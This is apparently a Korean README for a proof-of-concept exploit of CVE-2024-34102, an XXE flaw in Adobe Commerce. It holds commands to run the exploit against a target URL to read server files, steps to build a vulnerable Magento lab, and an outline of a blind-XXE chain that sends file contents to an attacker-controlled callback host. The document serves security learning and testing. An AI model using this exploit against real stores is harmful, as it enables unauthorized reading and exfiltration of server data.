
Adobe Commerce XXE exploit
★ @th3gokul, Sanjaith3hacker, Chocapikk님의 원본 코드 베이스에 감사드립니다. ★
CVE-2024-34102 : Adobe Commerce XXE 취약점 설명: Adobe Commerce 버전 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 및 이전 버전은 XML 외부 엔터티 참조('XXE')에 대한 부적절한 제한 취약점의 영향을 받아 임의 코드 실행이 발생할 수 있습니다. 공격자는 외부 엔터티를 참조하는 조작된 XML 문서를 전송하여 이 취약점을 악용할 수 있습니다. 이 문제의 악용에는 사용자 상호 작용이 필요하지 않습니다.
git clone https://github.com/EQSTSeminar/CVE-2024-34102.git
cd CVE-2024-34102
pip install -r requirements.txt
python CVE-2024-34102.py -u <URL_TO_EXPLOIT> -f <FILE_TO_READ>
python CVE-2024-34102.py https://magento.test -f /etc/hosts

markshust의 Magento용 Docker 구성을 덕분에 취약한 개발 환경을 만드는 것이 어렵지 않습니다. https://github.com/markshust/docker-magento
# Create your project directory then go into it:
mkdir /opt/magento
cd $_
# Install some stuff (needed for the script)
sudo apt update
sudo apt install -y bc curl
# Create Composer's directory (to avoid a weird error)
mkdir /var/www/.composer/
# Run this automated one-liner from the directory you want to install your project.
curl -s https://raw.githubusercontent.com/markshust/docker-magento/release/next/lib/onelinesetup | bash -s -- magento.test 2.4.7 community
# Submit credentials when needed.
# Edit hosts file
echo "127.0.0.1 magento.test" >> /etc/hosts

PHPSTORM을 사용하여 Magento를 디버그할 수 있습니다.
bin/xdebug enable

그러면 Magento를 디버그할 수 있습니다.
콜백 URL 생성 (mocky api) -> 눈먼 XXE 공격 (CVE-2024-34102) -> 파일 내용을 공격자 인스턴스로 전송 (SSRFUtility) -> 공격자 인스턴스 읽기 (SSRFUtility)
이 저장소는 CVE-2024-34102에 대한 XXE 익스플로잇을 위한 것이 아닙니다. 이 프로젝트의 목적은 사람들이 이 취약점에 대해 배우고, 자신의 애플리케이션을 테스트하는 데 도움을 주기 위함입니다.
저희는 매월 CVE 및 악성코드 분석을 게시합니다. 관심이 있으시면 아래 링크를 통해 저희의 발행물을 확인해 주세요. https://www.skshieldus.com/eng/business/insight.do